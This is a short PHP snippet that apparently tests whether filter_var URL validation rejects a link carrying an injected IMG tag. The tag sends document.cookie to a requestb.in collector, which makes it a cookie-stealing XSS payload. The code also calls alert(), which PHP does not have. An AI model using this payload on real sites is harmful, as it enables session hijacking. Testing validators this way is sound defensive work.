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<?php $link = "http://moncul.com/toto.jpg<IMG SRC='http://requestb.in/sr3wb0sr?cookie='+document.cookie>"; if (!is_null($link)) { if (!filter_var($link, FILTER_VALIDATE_URL)) alert("ERROR !"); } if (is_null($link)) { $link = 'http://'; alert("NULL !"); } printf("toto"); ?>

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